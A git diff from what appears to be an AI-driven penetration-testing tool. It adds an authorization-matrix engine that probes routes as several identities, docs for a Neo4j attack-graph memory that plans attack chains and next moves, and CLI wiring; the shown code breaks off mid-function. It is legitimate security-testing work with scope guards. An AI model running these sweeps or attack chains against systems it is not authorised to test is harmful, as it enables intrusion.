+**Usage:** `neurosploit run --creds creds.yaml --authz-matrix auto`, with a +`creds.yaml` carrying the multi-identity block from the `creds.rs` module doc. + +--- + +Status: proposal · Target crate: `crates/harness` · Touches: `validation.rs`, `pipeline.rs`, `scope.rs`/`creds.rs`, new `authz_matrix.rs`, `types.rs` + +## Problem + +Broken authorization is the dominant finding class in real backoffice/business +apps, and it is **systemic**: one missing check repeats across dozens of routes +("read-only role can write", "permission declared but never required", +"protected route served to anonymous"). The current engine tests one class at a +time, usually with one identity. `IdorValidator` already proves object-level +access (BOLA) from an `identity_a`/`identity_b` pair, but there is no engine that +sweeps the **whole route surface against every identity** and decides +function-level authorization (BFLA), missing-auth, and read-only-can-write. + +This design adds that engine and a deterministic validator for it, reusing the +existing `Exchange`/`Evidence`/`Verdict`/`CweValidator` machinery. + +## Core idea + +``` + recon ──▶ RouteInventory ─┐ + ├─▶ AuthzMatrix.run() ─▶ Finding{ evidence.matrix } ─▶ judge()/apply() ─▶ report + creds.yaml ─▶ IdentitySet ┘ │ + AuthzMatrixValidator ◀──┘ +``` + +The engine produces ordinary `Finding`s carrying a new `Evidence.matrix`; they +flow through the same `validation::judge` path as every other finding, so CVSS +grading, voting reconciliation, scope withholding and the assurance bundle all +work unchanged. + +## 1. Data model (`validation.rs` + `types.rs`) + +Extend `Evidence` (all `#[serde(default)]`, fully backward compatible): + +```rust +pub struct Evidence { + // … existing fields (baseline, attack, repeats, marker, identity_a/b, …) + /// One probe per identity for a single route+method. + #[serde(default)] + pub matrix: Vec, + /// The same route+method as a should-be-denied identity, probed with a + /// well-formed NON-EXISTENT id (the 403-vs-business-error oracle). + #[serde(default)] + pub oracle: Option, +} + +/// Privilege tier an identity is expected to have on a route. +#[derive(Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Expect { Allow, Deny } + +pub struct MatrixProbe { + pub identity: String, // "admin" | "readonly" | "tenantB" | "anonymous" + pub expect: Expect, // what policy SAYS should happen + pub exchange: Exchange, // what actually happened (reuses Exchange) +} + +pub struct OracleProbe { + /// Denied identity calling a WRITE route with a non-existent well-formed id. + pub denied: Exchange, + /// Same call, same non-existent id, as the privileged identity — the + /// control: both should hit the SAME business error if authz is absent. + pub privileged: Exchange, +} +``` + +`Exchange` already carries `identity`, `status`, `body`, `headers` — no change. + +## 2. Validator (`validation.rs`) + +### CWE reassignment (keeps the disjointness test green) + +The test at `validation.rs:1895` asserts every validator owns ≥1 CWE and no two +share one. Today `IdorValidator` owns `639/862/863/284/285/566/425` (verified at +`validation.rs:366`). Split by semantics: + +| Validator | CWEs | Scope | +|---|---|---| +| `IdorValidator` (narrow) | `639`, `284`, `566`, `425` | object-level / BOLA (identity B reads A's object), forced browsing | +| `AuthzMatrixValidator` (new) | `862`, `863`, `285` | function-level / missing-auth / improper-authorization | + +`862` = Missing Authorization, `863` = Incorrect Authorization, `285` = Improper +Authorization — all function/decision level, correctly the matrix engine's. +Object-level `639`/`284` and forced-browsing `425`/`566` stay with Idor. Update `validator_for` title routing: +move `"broken access control"`, `"bola"` stays→Idor; add `"bfla"`, +`"function-level"`, `"missing authorization"`, `"read-only"`, `"authorization matrix"` +→ `AuthzMatrixValidator`. + +### Dispatch override + +In `judge`/`apply`, before CWE/title routing, add: + +```rust +if ev.map_or(false, |e| !e.matrix.is_empty() || e.oracle.is_some()) { + return AuthzMatrixValidator.validate(f, ev.unwrap()); +} +``` + +So any finding that arrives with matrix/oracle evidence is judged by the matrix +rule regardless of how the agent labeled it. + +### Verdict logic + +```rust +impl CweValidator for AuthzMatrixValidator { + fn name(&self) -> &'static str { "authz-matrix" } + fn cwes(&self) -> &'static [&'static str] { &["862","863","285"] } + + fn validate(&self, _f: &Finding, ev: &Evidence) -> Verdict { + // (A) Oracle path — non-destructive proof for write routes. + if let Some(o) = &ev.oracle { + if is_auth_denied(&o.denied) { // 401/403 + return Verdict::Rejected("authorization enforced — denied identity got 401/403".into()); + } + if looks_like_login_or_public(&o.denied) { + return Verdict::Rejected("response is a login page / public view, not the protected handler".into()); + } + // Denied identity reached business logic iff it got the SAME + // business-level outcome as the privileged control for a + // non-existent id (e.g. both "record not found"/422/409, or both 2xx). + if reached_business_logic(&o.denied) && same_business_outcome(&o.denied, &o.privileged) { + return Verdict::Confirmed(format!( + "write route reached business logic as a should-be-denied identity \ + (non-existent id → {} like the privileged control, not 403)", o.denied.status)); + } + return Verdict::NeedsReview("ambiguous — generic 5xx/WAF/empty; cannot tell authz from error".into()); + } + + // (B) Matrix path — read/data routes across identities. + let denied_but_served: Vec<&MatrixProbe> = ev.matrix.iter() + .filter(|p| p.expect == Expect::Deny) + .filter(|p| p.exchange.is_success() + && !looks_like_login_or_public(&p.exchange) + && !is_empty_or_own_data(&p.exchange)) + .collect(); + + if ev.matrix.iter().filter(|p| p.expect == Expect::Deny).count() == 0 { + return Verdict::NeedsReview("no should-be-denied identity in the matrix — nothing to prove".into()); + } + match denied_but_served.first() { + Some(p) => Verdict::Confirmed(format!( + "identity '{}' (expected deny) was served the protected resource ({}, {} bytes)", + p.identity, p.exchange.status, p.exchange.len())), + None => Verdict::Rejected("every should-be-denied identity was correctly refused".into()), + } + } +} +``` + +Helper predicates (new, small, unit-tested): + +- `is_auth_denied(x)` → `x.status == 401 || 403`. +- `reached_business_logic(x)` → `x.is_success()` OR a business-error status + (`404/409/422/400`) whose body carries a business signature + (`not found`/`invalid state`/`does not exist`), NOT an auth signature + (`forbidden`/`unauthorized`/`access denied`). +- `same_business_outcome(a, b)` → same status class AND same business-error + signature (so the denied call got identical treatment to the privileged one). +- `looks_like_login_or_public(x)` → body matches a login form / redirect to + `/login` / equals the recorded unauthenticated baseline. +- `is_empty_or_own_data(x)` → empty body, or body contains only the denied + identity's own identifier (so it is not cross-boundary). + +These guards encode the FP rules already in the agent markdown: a 200 login +page, a response equal to the public view, a 403, or own-data-only is **not** a +finding; a write 200 without read-back persistence is `needs-review`. + +## 3. Identity fixtures (`scope.rs`/`creds.rs`) + +Extend the `creds.yaml` schema (already loaded by the creds parser) with an +`identities` block and seed values, so the engine has multiple role sessions and +valid domain inputs to pass business validation: + +```yaml +identities: + - label: admin # free-form, used in evidence + role: admin + auth: { header: "Authorization", value: "Bearer " } + tier: high + - label: readonly + role: viewer + auth: { header: "Authorization", value: "Bearer " } + tier: readonly # expected Deny on write routes + - label: tenantB + role: user + auth: { cookie: "session=" } + tier: tenant + - label: anonymous + auth: {} # no credential; expected Deny on protected routes + tier: none + +sample_values: # valid domain inputs to get past format gates + nfe_key: "35200114200166000187550010000000071000000017" + cnpj: "11222333000181" + known_ids: ["6531aa…", "6531bb…"] # real ids per identity for BOLA +``` + +New types: + +```rust +pub struct Identity { pub label: String, pub role: String, pub tier: Tier, + pub auth: AuthMaterial } +pub enum Tier { High, ReadOnly, Tenant, None } +pub enum AuthMaterial { Header{name:String,value:String}, Cookie(String), Anonymous } +pub struct IdentitySet { pub identities: Vec, pub samples: SampleValues } +``` + +`IdentitySet::expected(route, identity)` returns `Expect`: a write/decision +route expects `Deny` for `ReadOnly/None` and for `Tenant` on another tenant's +object; a protected read route expects `Deny` for `None`. This is the policy the +matrix diffs against. The engine never needs the app's real policy table — +"anonymous and read-only should not write" is the universal prior, and any +`Allow` observed where `Deny` was expected is the finding. + +## 4. Engine (`authz_matrix.rs`, new) + +```rust +pub struct Route { pub method: String, pub path: String, pub kind: RouteKind } +pub enum RouteKind { Read, Write } // Write = state-changing (POST/PUT/PATCH/DELETE, or a decision verb) + +pub struct RouteInventory { pub routes: Vec } +impl RouteInventory { + /// Aggregate from everything recon already produced. + pub fn build(recon: &Recon, ids: &IdentitySet, http: &Http) -> Self { … } + // sources: OpenAPI/Swagger JSON, GraphQL introspection, JS-bundle route + // mining, an AUTHENTICATED crawl per identity (the readonly/admin crawls + // reveal backoffice routes anon never sees), and sensitive-path guessing. +} + +pub struct MatrixResult { pub findings: Vec<(Finding, Evidence)> } + +pub async fn run(inv: &RouteInventory, ids: &IdentitySet, http: &Http, + scope: &Scope, budget: &Budget) -> MatrixResult { + for route in dedupe_templates(&inv.routes) { // collapse /x/{id} variants + scope.check(&route)?; // existing guard: never out of scope + let privileged = replay(route, ids.highest(), http).await; + let mut ev = Evidence::default(); + for id in ids.iter().filter(|i| i.tier != Tier::High) { + let expect = ids.expected(route, id); + match route.kind { + RouteKind::Read => { + let x = replay_read(route, id, &ids.samples, http).await; + ev.matrix.push(MatrixProbe{ identity:id.label.clone(), expect, exchange:x }); + } + RouteKind::Write if expect == Expect::Deny => { + // 403-vs-business-error oracle: non-existent well-formed id, + // NEVER a real object → no mutation of real data. + let denied = replay_write_nonexistent(route, id, &ids.samples, http).await; + let privileged = replay_write_nonexistent(route, ids.highest(), &ids.samples, http).await; + ev.oracle = Some(OracleProbe{ denied, privileged }); + } + _ => {} + } + budget.tick()?; // reasoning-budget governor + } + if ev.matrix.iter().any(|p| p.expect==Expect::Deny) || ev.oracle.is_some() { + findings.push((synth_finding(route, &privileged), ev)); + } + } +} +``` + +Safety built in: writes only ever use a **non-existent** well-formed id, so the +oracle proves reachability without mutating real objects; `scope.check` (the +existing `scope.rs` guard) still gates every request; the budget governor caps +`routes × identities`; `dedupe_templates` collapses `/users/{id}` so the matrix +is O(routes) not O(objects). + +## 5. Pipeline wiring (`pipeline.rs`) + +Add an engine pass after recon + agent selection, before/alongside the exploit +agents (it is a deterministic engine, not an LLM agent, so it is cheap and +reproducible): + +```rust +if identities.len() >= 2 || cfg.authz_matrix { // auto when ≥2 roles, or --authz-matrix + let inv = RouteInventory::build(&recon, &identities, &http); + let res = authz_matrix::run(&inv, &identities, &http, &scope, &budget).await; + for (mut f, ev) in res.findings { + let verdict = validation::apply(&mut f, Some(&ev)); // deterministic judge + emit_finding(f, ev, verdict).await; // same sink as agents + } +} +``` + +- Flag: `--authz-matrix on|off|auto` (auto = run when ≥2 identities loaded), + mirroring `--typesafe`. +- The synthesized findings carry `owasp = "A01:2025-Broken Access Control"`, + `cwe = "862"/"863"/"639"`, `stage = "privesc"`, and feed the attack graph as + `weakness` nodes on the affected endpoints, so the "systemic" pattern (one + module, many routes) is visible as a cluster. + +## 6. Tests + +- Keep `validation.rs:1895` disjointness green after the CWE split (add a case: + Idor owns `639/284`, AuthzMatrix owns `862/863/285`, no overlap). +- Unit-test `AuthzMatrixValidator`: + - oracle: denied 403 → Rejected; denied business-404 matching privileged → Confirmed; denied generic-500 → NeedsReview; denied login-page → Rejected. + - matrix: readonly 200 real body → Confirmed; anonymous 401 → Rejected; denied-but-empty → Rejected; denied-but-own-data → Rejected; no-deny-identity → NeedsReview. +- Golden run: a seeded app with a read-only role that can write; assert one + Confirmed per vulnerable write route and zero on the enforced ones. + +## 7. Why this fits NeuroSploit's invariants + +- Deterministic and model-independent: the verdict is computed from status/body + signatures, never a vote, so it holds across backends (the benchmark property). +- Absent evidence is never a pass: no deny-identity probe → `needs-review`. +- Non-destructive: the oracle uses non-existent ids; scope guard unchanged. +- Reuses `Exchange`/`Evidence`/`Verdict`/`judge`/report/attack-graph end to end. + +## Effort estimate + +- `Evidence` fields + types: ~0.5 day. +- `AuthzMatrixValidator` + helpers + tests: ~1 day. +- `IdentitySet`/creds schema: ~1 day. +- `RouteInventory` (reusing recon outputs): ~2–3 days (the crawl-per-identity is + the real work). +- `authz_matrix::run` + pipeline wiring + flag: ~1–2 days. + +The validator and data model (the deterministic core) are the smallest and +highest-leverage slice and can ship first against agent-emitted matrix evidence, +before the engine crawls routes on its own. +``` diff --git a/docs/graph-memory.md b/docs/graph-memory.md new file mode 100644 index 0000000..f78bf0a --- /dev/null +++ b/docs/graph-memory.md @@ -0,0 +1,152 @@ +# Graph memory & attack-path reasoning (Neo4j) + +NeuroSploit keeps three graphs: the **knowledge graph** (what was learned about a +target, across runs), the **internal graph** (hosts, identities, credentials, the +AD credential loop) and the **chain links** (which finding hands which capability +to which). `graph_memory.rs` projects all three into one typed schema, reasons +over it, and — when configured — MERGEs it into Neo4j and reads accumulated paths +back. + +It works without Neo4j. Every run writes `graph/` next to the report: + +| file | what | +|---|---| +| `graph/attack-chains.md` | chains in the 11-field analyst format, plus next moves | +| `graph/graph.cypher` | idempotent MERGE script: `cypher-shell -a -u -p -f graph.cypher` | +| `graph/graph.json` | nodes/edges as JSON | +| `graph/queries.cypher` | ready-made analyst queries | + +## The graph is a phase of the test + +The pipeline runs a **graph checkpoint** at each stage, in every mode (black-box, +grey-box, host/infra, container, mobile, AI): + +| checkpoint | what goes in | what it changes | +|---|---|---| +| `recon` | recon surface (in-scope hosts, services, endpoints, tech, secret fingerprints) + this target's cross-run memory + saved internal graph + Neo4j paths | black-box selection adds **graph-directed agents** (e.g. SSRF → `ssrf_cloud`, authz/identities → `authorization_matrix`, yielded secret → `session_lifecycle`, PostgreSQL+SQLi → `postgres_superuser_rce`, datastore tech → `exposed_datastore`) | +| `validated` | the validated findings | every chaining agent sees the new chains | +| `chain round N` | each round's validated findings | footholds on the most valuable chains are expanded first | +| `final` | final findings (before secrets are masked) | Neo4j sync, report | + +Each checkpoint publishes a **live context** that `operator_directives` adds to +every exploit and chaining prompt: the surface, the top chains with their status, +the next moves, and the graph discipline (report obtained credentials in +`secret`/`account`, dependencies in `chains_from`, unproven steps as hypotheses). +It also writes `graph/live-chains.md` and `graph/live.json` so the operator can +watch the graph evolve, and MERGEs the run's slice into Neo4j when configured. + +**Dependency todolist** (`graph/todo.md`). Every unconfirmed chain is laid out +step by step: `done` when the graph holds evidence for the step, `ready` when every +earlier step is done, `blocked` otherwise. The graph *is* the persistent list, so +it survives rounds and restarts. The chaining rounds dispatch `ready` steps first, +one per foothold, each with the exact step to perform and an instruction not to +jump ahead; a step already attempted is not re-sent. + +**Shared traces** (`traces/.md`). Each agent's transcript is written as it +finishes. Every prompt carries a structured digest of the other agents' traces +(endpoint paths, parameter names, error signatures, product versions, block +signals — never raw lines), fenced as untrusted data, plus the directory to +`grep` for full context. + +**Wire-bound evidence** (always on, before validation). Each exchange an agent +reports is checked against recorded traffic (when the recording interceptor ran) +and re-sent by the harness itself through the scope-guarded replay engine +(non-mutating verbs only; identities only when their credentials were recorded). +When the wire reproduces the account, the harness's observation replaces it and +the validators judge real bytes (`[wire-verified]`). When it does not, the +disagreement is recorded and the finding cannot stand as confirmed. What cannot be +checked stays as reported and is counted as unverifiable. + +Cross-run memory is scoped to the target: only the component reachable from this +target's asset node, through target-specific nodes, is used — another +engagement's history never enters this one's prompts. + +## Using it + +```bash +# During a run: chaining rounds get the graph's chains and next moves, and the +# result is pushed to Neo4j at the end. +export NEO4J_USER=neo4j NEO4J_PASSWORD='…' +neurosploit run https://app.example --neo4j bolt://localhost:7687 + +# After a run (offline, or with --push to MERGE + read back accumulated paths) +neurosploit graph [--internal internal-graph.json] [--push] [--top 10] + +# Internal network: save the AD/host graph into the run, then reason over both +neurosploit internal --graph ad.json --from --save runs//internal-graph.json +neurosploit graph +``` + +Configuration: `--neo4j ` or `NEO4J_URI` (`bolt://`, `neo4j://`, `neo4j+s://` +are mapped to the HTTP transactional endpoint on 7474/7473; `http(s)://` is used +as is). Credentials only from `NEO4J_USER` (or `NEO4J_USERNAME`), +`NEO4J_PASSWORD`, `NEO4J_DATABASE` — never from flags, never written to disk. + +## Schema + +Labels: Target, Asset, Host, IPAddress, Domain, Service, Endpoint, Technology, +Vulnerability, Finding, Evidence, Credential, Identity, Role, Permission, Secret, +ExploitAttempt, ValidationResult, AttackStep, AttackPath, BusinessImpact, Control, +Mitigation. + +Relationships: HAS_ASSET, RESOLVES_TO, EXPOSES, RUNS, HOSTS, USES_TECH, +HAS_ENDPOINT, HAS_VULNERABILITY, HAS_FINDING, SUPPORTED_BY, OBSERVED_IN, REQUIRES, +ENABLES, YIELDS, CAN_ACCESS, HAS_PERMISSION, ESCALATES_TO, PIVOTS_TO, DEPENDS_ON, +VALIDATED_BY, MITIGATED_BY, IMPACTS, PART_OF_PATH. + +Stable keys (MERGE): Host = target + host; Service = host + port + proto; Endpoint = +method + normalized URL (ids collapsed to `{id}`, query dropped); Vulnerability = +CWE/type + endpoint; Finding = target + type + host + evidence hash; Evidence = +hash of the observed exchange (write-once); Credential/Secret = salted fingerprint. + +How web and internal meet: a finding whose evidence demonstrates code execution or +internal reach gets `AttackStep -CAN_ACCESS-> Host`. The internal graph's node for +the same host shares the key, so its credentials and pivots continue the path. + +## Reasoning rules (enforced in code) + +- **Local vs chain severity.** A chain is only scored above its findings' local + severity when it is `confirmed` — every finding confirmed by the validation + engine and every edge evidenced. Otherwise it keeps the local severity and states + the severity it would have once validated (`High — Critical once validated`). +- **Impact must be demonstrated.** An `IMPACTS` edge is confirmed only when the + evidence reached that rung: code execution needs a nonce in output or an + out-of-band callback; sensitive-data exposure needs sensitive data actually read. + "Could lead to RCE" stays `needs_validation`. +- **Derived links are hypotheses.** Capability-matched links between findings are + `needs_validation`; cross-run memory is never more than `needs_review`. +- **Status.** `confirmed` / `needs_validation` / `hypothesis` (rests on an + unconfirmed finding, an unproven node, or history). +- **Next moves.** The first unproven edge of the most valuable chains, yielded + credentials not yet tried against in-scope services (lockout-aware), code + execution not yet connected to the internal network, SSRF without a recorded + internal target. These feed the attack-chaining rounds, and footholds on the + most valuable chains are expanded first. + +## Data minimisation + +No raw secret, token, cookie, password, response body or model narrative becomes a +graph property. Secrets are fingerprints salted per installation +(`~/.neurosploit/graph-salt`, or `NEUROSPLOIT_GRAPH_SALT` — share one value across a +team that shares a Neo4j so credential reuse still correlates). Identities that +look like personal data are masked (`a***@corp.test`). Endpoints lose their query +strings. Internal credential nodes are named from the node id and kind, never from +the label. Labels and relationship types come from closed enums; all values are +statement parameters. + +## Queries + +See `graph/queries.cypher`. Examples: + +```cypher +// Hypotheses still worth validating, best first +MATCH (p:AttackPath) WHERE p.status IN ['needs_validation','hypothesis'] +RETURN p ORDER BY p.risk_score DESC; + +// Credentials that reach privileged identities (internal) +MATCH path = (c)-[:CAN_ACCESS|HAS_PERMISSION|ESCALATES_TO*1..6]->(r) +WHERE (c:Credential OR c:Secret) AND (r:Role OR r:Identity) AND r.privileged = true +RETURN path; +``` + +The LLM-facing version of these rules is `agents_md/meta/graph_reasoning.md`. diff --git a/neurosploit-rs/app/src/main.rs b/neurosploit-rs/app/src/main.rs index 796b25e..7e46cee 100644 --- a/neurosploit-rs/app/src/main.rs +++ b/neurosploit-rs/app/src/main.rs @@ -83,6 +83,14 @@ struct Cli { /// exact same pipeline without it, so runs can be compared with/without. #[arg(long = "typesafe", global = true)] typesafe: Option, + /// Authorization matrix engine: on|off|auto (auto runs when --creds carries + /// >=2 identities across >=2 privilege tiers). Deterministic, no model calls. + #[arg(long = "authz-matrix", global = true)] + authz_matrix: Option, + /// Neo4j for the attack graph (bolt://host:7687 or http://host:7474). + /// Falls back to NEO4J_URI; credentials only via NEO4J_USER / NEO4J_PASSWORD. + #[arg(long = "neo4j", global = true)] + neo4j: Option, /// Decision backend for the calibrated System One layer: /// typesafe (hosted API, needs TYPESAFE_API_KEY) or laya (local, free, /// open-source — downloads the model on first use and keeps evidence on the @@ -178,7 +186,7 @@ enum Cmd { #[arg(long = "revalidate-poc")] revalidate_poc: bool, /// Map findings onto compliance controls in the report: pci-dss, hipaa, - /// soc2 (repeatable or comma-separated). + /// soc2, gdpr (repeatable or comma-separated). #[arg(long = "compliance")] compliance: Vec, /// Open a Jira card per finding (needs the jira integration enabled). @@ -217,6 +225,24 @@ enum Cmd { #[arg(long = "out")] out: Option, }, + /// Attack graph for a finished run (web + internal network): attack chains + /// with local vs chain severity, next moves, a Cypher export — and, with + /// --push (or NEO4J_URI set), MERGE into Neo4j and reason over paths + /// accumulated across runs + Graph { + /// Run id (`ns-…`) or a path to the run directory. + run: String, + /// Internal-network graph JSON to merge (as saved by `internal --save`); + /// defaults to `/internal-graph.json` when present. + #[arg(long = "internal")] + internal: Option, + /// Push to Neo4j and read accumulated paths back. + #[arg(long = "push")] + push: bool, + /// How many chains to print. + #[arg(long = "top", default_value_t = 5)] + top: usize, + }, /// Verify a finished run's audit trail — the hash chain and, with --anchor, /// the signed anchors that catch truncation and silent rebuilds. Audit { @@ -835,6 +861,7 @@ async fn main() -> anyhow::Result<()> { Cmd::Audit { run, anchor } => handle_audit(&base, &run, anchor)?, Cmd::Traffic { run } => handle_traffic(&base, &run)?, Cmd::Sarif { run, out } => handle_sarif(&base, &run, out.as_deref())?, + Cmd::Graph { run, internal, push, top } => handle_graph(&base, &run, internal.as_deref(), push, top, cli.neo4j.as_deref()).await?, Cmd::Assurance { run, verify } => handle_assurance(&base, &run, verify)?, Cmd::Compliance { run, framework, include_leads } => handle_compliance(&base, &run, &framework, include_leads)?, Cmd::Poc { run, repeats, apply } => handle_poc(&base, &run, repeats, apply).await?, @@ -888,6 +915,9 @@ async fn main() -> anyhow::Result<()> { cfg.sandbox = cli.sandbox.clone(); cfg.revalidate_poc = revalidate_poc; cfg.compliance = revalidate_split(&compliance); + cfg.authz_matrix = cli.authz_matrix.clone(); + cfg.creds_file = creds.clone(); + cfg.neo4j = cli.neo4j.clone(); if !models.is_empty() { cfg.models = models; } @@ -1787,6 +1817,82 @@ fn handle_traffic(base: &std::path::Path, run: &str) -> anyhow::Result<()> { Ok(()) } +async fn handle_graph(base: &std::path::Path, run: &str, internal: Option<&str>, push: bool, top: usize, neo4j: Option<&str>) -> anyhow::Result<()> { + use harness::graph_memory as gm; + let dir = resolve_run(base, run)?; + let findings = load_findings(&dir)?; + let target = std::fs::read_to_string(dir.join("meta.json")) + .ok() + .and_then(|t| serde_json::from_str::(&t).ok()) + .and_then(|v| v.get("target").and_then(|x| x.as_str()).map(String::from)) + .unwrap_or_else(|| run.to_string()); + let run_id = dir.file_name().and_then(|s| s.to_str()).unwrap_or("run").to_string(); + let ipath = internal.map(std::path::PathBuf::from).unwrap_or_else(|| dir.join("internal-graph.json")); + let ig: Option = std::fs::read_to_string(&ipath).ok().and_then(|t| serde_json::from_str(&t).ok()); + if internal.is_some() && ig.is_none() { + anyhow::bail!("{} is not a readable internal graph", ipath.display()); + } + let mut b = gm::build(&target, &run_id, &findings, ig.as_ref(), None); + let neo = gm::Neo4j::resolve(neo4j).filter(|_| push || neo4j.is_some() || std::env::var("NEO4J_URI").is_ok()); + if let Some(n) = &neo { + let mut pushed = b.clone(); + let local = gm::chains(&pushed, 8, 50); + gm::record_paths(&mut pushed, &local, &run_id); + match n.push(&pushed, &run_id).await { + Ok((nn, ne)) => println!(" neo4j: merged {nn} node(s), {ne} relationship(s) → {}", n.label()), + Err(e) => println!(" neo4j: push failed ({e}) — continuing offline"), + } + match n.fetch_paths(&b.target_id, 500).await { + Ok(remote) => { + let before = b.edges.len(); + b.absorb(remote); + println!(" neo4j: read back accumulated paths (+{} relationship(s))", b.edges.len().saturating_sub(before)); + } + Err(e) => println!(" neo4j: read failed ({e})"), + } + } + let cs = gm::chains(&b, 8, 50); + let moves = gm::next_moves(&b, &cs, 12); + gm::record_paths(&mut b, &cs, &run_id); + let out = dir.join("graph"); + std::fs::create_dir_all(&out)?; + std::fs::write(out.join("attack-chains.md"), gm::chains_markdown(&target, &cs, &moves))?; + std::fs::write(out.join("chains.json"), gm::chains_json(&cs, &moves))?; + let td = gm::todo(&b, &cs); + std::fs::write(out.join("todo.md"), gm::todo_markdown(&target, &td))?; + std::fs::write(out.join("todo.json"), gm::todo_json(&td))?; + std::fs::write(out.join("graph.cypher"), gm::export_cypher(&b, &run_id))?; + std::fs::write(out.join("graph.json"), gm::export_json(&b))?; + let confirmed = cs.iter().filter(|c| c.status == gm::Status::Confirmed).count(); + println!( + " graph: {} node(s), {} relationship(s) · {} chain(s), {} confirmed{}", + b.nodes.len(), + b.edges.len(), + cs.len(), + confirmed, + if ig.is_some() { " · internal network merged" } else { "" } + ); + for (i, c) in cs.iter().take(top).enumerate() { + println!( + " {}. [{}] {} — chain {}{} · conf {:.2}", + i + 1, + c.status.as_str(), + c.title, + c.chain_severity, + c.potential_severity.as_deref().map(|p| format!(" (→{p} if validated)")).unwrap_or_default(), + c.confidence + ); + } + if !moves.is_empty() { + println!(" next moves:"); + for m in moves.iter().take(top) { + println!(" - {m}"); + } + } + println!(" → {}/attack-chains.md · graph.cypher · graph.json", out.display()); + Ok(()) +} + fn handle_sarif(base: &std::path::Path, run: &str, out: Option<&str>) -> anyhow::Result<()> { let dir = resolve_run(base, run)?; let findings = load_findings(&dir)?; @@ -1795,7 +1901,7 @@ fn handle_sarif(base: &std::path::Path, run: &str, out: Option<&str>) -> anyhow: .and_then(|t| serde_json::from_str::(&t).ok()) .and_then(|v| v.get("target").and_then(|x| x.as_str()).map(String::from)) .unwrap_or_else(|| run.to_string()); - let doc = harness::sarif::to_string(&target, &findings); + let doc = harness::sarif::to_string(&target, &harness::redact::for_people(&findings)); let dest = out.map(std::path::PathBuf::from).unwrap_or_else(|| dir.join("report.sarif")); std::fs::write(&dest, doc)?; println!(" {} finding(s) -> SARIF 2.1.0 at {}", findings.len(), dest.display()); diff --git a/neurosploit-rs/crates/harness/src/authz_matrix.rs b/neurosploit-rs/crates/harness/src/authz_matrix.rs new file mode 100644 index 0000000..0368823 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/authz_matrix.rs @@ -0,0 +1,477 @@ +//! Authorization matrix engine. +//! +//! A deterministic pass that sweeps the discovered route surface against every +//! identity in `creds.yaml` and diffs what happened against what the access +//! policy says should happen. It produces ordinary [`Finding`]s carrying +//! [`Evidence::matrix`] / [`Evidence::oracle`], which the normal +//! [`crate::validation`] path judges — so CVSS grading, scope withholding and +//! the assurance bundle all apply unchanged. +//! +//! Two probes per route: +//! - **read routes** — replay as each should-be-denied identity; a protected +//! resource served to one of them is a function-level authorization flaw. +//! - **write routes** — the 403-vs-business-error oracle: a should-be-denied +//! identity and the privileged control both call the route with a well-formed +//! **non-existent** id, so reachability is proven without mutating real data. +//! +//! The engine never decides the verdict itself; it gathers evidence and lets +//! `validation::apply` judge, keeping the deterministic, model-independent +//! guarantee of the rest of the pipeline. + +use crate::creds::{Creds, Identity, Tier}; +use crate::scope::{Action, ScopePolicy}; +use crate::types::Finding; +use crate::validation::{Evidence, Exchange, Expect, MatrixProbe, OracleProbe}; +use std::future::Future; + +/// Whether a route changes state. Decides read-matrix vs write-oracle. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum RouteKind { + Read, + Write, +} + +/// One route to test. `url` is the full absolute URL as recon found it. +#[derive(Debug, Clone)] +pub struct Route { + pub method: String, + pub url: String, + pub kind: RouteKind, +} + +impl Route { + pub fn new(method: &str, url: &str) -> Route { + let kind = if is_write_method(method) { RouteKind::Write } else { RouteKind::Read }; + Route { method: method.to_uppercase(), url: url.to_string(), kind } + } +} + +/// `true` for state-changing HTTP methods. +pub fn is_write_method(method: &str) -> bool { + matches!(method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH" | "DELETE") +} + +/// The set of routes to sweep, deduplicated by method + path template. +#[derive(Debug, Default, Clone)] +pub struct RouteInventory { + pub routes: Vec, +} + +impl RouteInventory { + /// Build from recon's `(method, url)` pairs, collapsing `/users/123` and + /// `/users/456` to a single template so the sweep is O(routes), not + /// O(objects). + pub fn from_endpoints(eps: &[(String, String)]) -> RouteInventory { + let mut seen: std::collections::HashSet<(String, String)> = std::collections::HashSet::new(); + let mut routes = Vec::new(); + for (method, url) in eps { + let m = method.to_uppercase(); + let key = (m.clone(), template(url)); + if seen.insert(key) { + routes.push(Route::new(&m, url)); + } + } + RouteInventory { routes } + } +} + +/// Replace id-shaped path segments with `{id}` so two instances of the same +/// route collapse to one. +pub fn template(url: &str) -> String { + let (head, path) = split_path(url); + let segs: Vec = path + .split('/') + .map(|s| if looks_like_id(s) { "{id}".to_string() } else { s.to_string() }) + .collect(); + format!("{head}{}", segs.join("/")) +} + +/// A path segment that is a numeric id, a UUID, or a 24-hex Mongo ObjectId. +fn looks_like_id(seg: &str) -> bool { + if seg.is_empty() { + return false; + } + let s = seg.split('?').next().unwrap_or(seg); + let all_digits = s.chars().all(|c| c.is_ascii_digit()); + if all_digits && s.len() >= 1 { + return true; + } + let hex = s.chars().all(|c| c.is_ascii_hexdigit()); + if hex && s.len() == 24 { + return true; + } + // UUID 8-4-4-4-12 + let parts: Vec<&str> = s.split('-').collect(); + if parts.len() == 5 { + let lens = [8, 4, 4, 4, 12]; + if parts.iter().zip(lens).all(|(p, n)| p.len() == n && p.chars().all(|c| c.is_ascii_hexdigit())) { + return true; + } + } + false +} + +/// Split `scheme://host[:port]` from the path (`/a/b`). Keeps the query out. +fn split_path(url: &str) -> (String, String) { + if let Some(idx) = url.find("://") { + let after = &url[idx + 3..]; + if let Some(slash) = after.find('/') { + let head = &url[..idx + 3 + slash]; + let path = &after[slash..]; + return (head.to_string(), path.to_string()); + } + return (url.to_string(), String::new()); + } + (String::new(), url.to_string()) +} + +/// Rewrite the last id-shaped segment to a well-formed NON-EXISTENT id (zeros), +/// so a write route can be reached without touching a real object. If the route +/// has no id segment, append one. +pub fn with_nonexistent_id(url: &str) -> String { + let (head, path) = split_path(url); + let (path_only, query) = match path.split_once('?') { + Some((p, q)) => (p.to_string(), format!("?{q}")), + None => (path.clone(), String::new()), + }; + let mut segs: Vec = path_only.split('/').map(|s| s.to_string()).collect(); + if let Some(pos) = segs.iter().rposition(|s| looks_like_id(s)) { + segs[pos] = nonexistent_like(&segs[pos]); + return format!("{head}{}{query}", segs.join("/")); + } + // No id in the path — append a sentinel ObjectId. + let sep = if path_only.ends_with('/') { "" } else { "/" }; + format!("{head}{path_only}{sep}000000000000000000000000{query}") +} + +/// A non-existent value shaped like the original id. +fn nonexistent_like(seg: &str) -> String { 